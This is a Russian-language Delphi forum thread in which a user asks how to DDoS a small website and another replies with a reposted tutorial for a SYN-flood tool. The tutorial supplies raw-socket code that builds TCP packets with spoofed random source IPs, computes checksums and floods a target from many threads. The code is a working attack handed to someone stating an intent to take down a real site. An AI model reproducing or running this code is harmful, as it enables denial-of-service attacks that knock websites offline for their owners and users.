Четверг, 25.04.2024, 16:03 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » DDos Bot (Быдлокодец) (Если нет, то пример пожалуйста.)
DDos Bot (Быдлокодец)
GReIIIHuKДата: Понедельник, 09.01.2012, 19:05 | Сообщение # 1
Участник
Зарегистрирован: 15.05.2011
Группа: Пользователи
Сообщений: 98
Статус: Offline
Можно ли данным способом заддосить какой нибудь юкозовский сайтик?))
Code

WinExec('ping 10.10.10.10', cardinal(' '));

Ну или дайте код(Ссылку если лень писать), там где есть рабочий.


Skype:"greiiihuk."


Да, я преступник. Мое преступление — любопытство.
Быть может умру я, умрут многие, но идея останется жить навсегда.
Я работаю не только за спасибо.(+) ©
 
link993Дата: Понедельник, 09.01.2012, 19:07 | Сообщение # 2
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
Чисто теоретически можно, но только надо кучу компьютеров на котором будет твой д-дос бот.))

Сообщение отредактировал link993 - Понедельник, 09.01.2012, 19:07
 
GReIIIHuKДата: Понедельник, 09.01.2012, 19:11 | Сообщение # 3
Участник
Зарегистрирован: 15.05.2011
Группа: Пользователи
Сообщений: 98
Статус: Offline
sad

Skype:"greiiihuk."


Да, я преступник. Мое преступление — любопытство.
Быть может умру я, умрут многие, но идея останется жить навсегда.
Я работаю не только за спасибо.(+) ©


Сообщение отредактировал GReIIIHuK - Понедельник, 09.01.2012, 19:19
 
IgorChekunДата: Понедельник, 09.01.2012, 19:31 | Сообщение # 4
Был не раз
Зарегистрирован: 26.12.2011
Группа: Пользователи
Сообщений: 20
Статус: Offline
Quote
Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься.
[Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает.
Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения.
Клиент --------SYN----------> Сервер
Клиент <----SYNACK--------- Сервер
Клиент --------ACK----------> Сервер
Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение.
TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить.
Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети.
[Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC.
PHP код:
//IP-заголовок
iph = record
ip_verlen: byte; //Версия и длина
ip_tos: byte; //Приоритет пакета
ip_len: word; // Длина заголовка
ip_id: word; // id -пакета
ip_offset: word; //Смещение
ip_ttl: byte; //Время жизни
ip_protocol: byte; //Протокол
ip_checksum: word; //Контрольная сумма
ip_saddr: longword; //Адрес отправителя
ip_daddr: longword; //Адрес получателя
end;
//TCP-заголовок
tcph = record
th_sport: word; //Порт отправителя
th_dport: word; //Порт получателя
th_seq: longword; // Последовательный номер
th_ack: longword; // Подтвержденный номер
th_len: byte; // Длина заголовка
th_flags: byte; // Кодовые биты
th_win: word; // Окно
th_checksum: word; // Контрольная сумма
th_upr: word; // Кодовые биты
end;
Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать
PHP код:
WSAStartup(MAKEWORD(2,2),WSAdata)
Теперь создаем «сырой» сокет
PHP код:
FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED);
Далее устанавливаем опции соединения (включение заголовка и время отправки):
PHP код:
op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver));
Далее следует большой код сборки пакета.
//Собираем пакет
//Пишем версию и длину ip-пакета
ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword));
ipHeader.ip_len:=htons(Size);
ipHeader.ip_tos:=0; //Приоритет пакета
ipHeader.ip_id:=1; //id-пакета
ipHeader.ip_offset:=0; //смещение
ipHeader.ip_ttl:=128; //время жизни пакета
ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
//Генерируем рандомный ip-адресс
FromIp:='';
For j:=0 to 3 do
begin
RandIp:=random(255);
Str(Randip,Buffer[j]);
end;
//lstrcat –функция для сцепки строк
lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[3]);
ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
//Заполняем TCP-заголовок
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
TCPHeader.th_dport:=htons(port); //Порт получателя
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
TCPHeader.th_ack:=0;
TCPHeader.th_len:=80;
//SYN-пакет
TCPHeader.th_flags:=2;
TCPHeader.th_win:=htons(65535);
TCPHeader.th_upr:=0;
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
//Расчет контрольной суммы
DataPointer := @TCPIP[0];
FillChar(TCPIP, SizeOf(TCPIP), 0);
Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
DataPointer := pointer(integer(DataPointer) + 1);
Inc(ChecksumSize);
Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
TcpHeaderLen := htons(sizeof(tcpHeader));
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
ChecksumSize := ChecksumSize + sizeof(tcpHeader);
tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
FillChar(TCPIP, sizeof(TCPIP), 0);
DataPointer := @TCPIP[0];
Move(ipHeader, DataPointer^, sizeof(ipHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
После чего его нужно отправить
For i:=0 to 10 do
begin
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR)
then
Writeln('Send error')
else
Writeln('Send ok');
end;
Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects
PHP код:
//Создаем потоки
for i:=0 to (CountT-1) do
Begin hThread[i]:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID[i]);
end;
WaitForMultipleObjects(CountT,@hthread,true,INFINI TE);
Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен.
материалы к статье - http://narod.yandex.ru/100.xhtml?ml2.../DoS_files.zip

© forum.antichat
 
GReIIIHuKДата: Понедельник, 09.01.2012, 20:49 | Сообщение # 5
Участник
Зарегистрирован: 15.05.2011
Группа: Пользователи
Сообщений: 98
Статус: Offline
мМмМм, спасяб smile

Skype:"greiiihuk."


Да, я преступник. Мое преступление — любопытство.
Быть может умру я, умрут многие, но идея останется жить навсегда.
Я работаю не только за спасибо.(+) ©
 
delphicode » Delphi » Вирусология Delphi » DDos Bot (Быдлокодец) (Если нет, то пример пожалуйста.)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz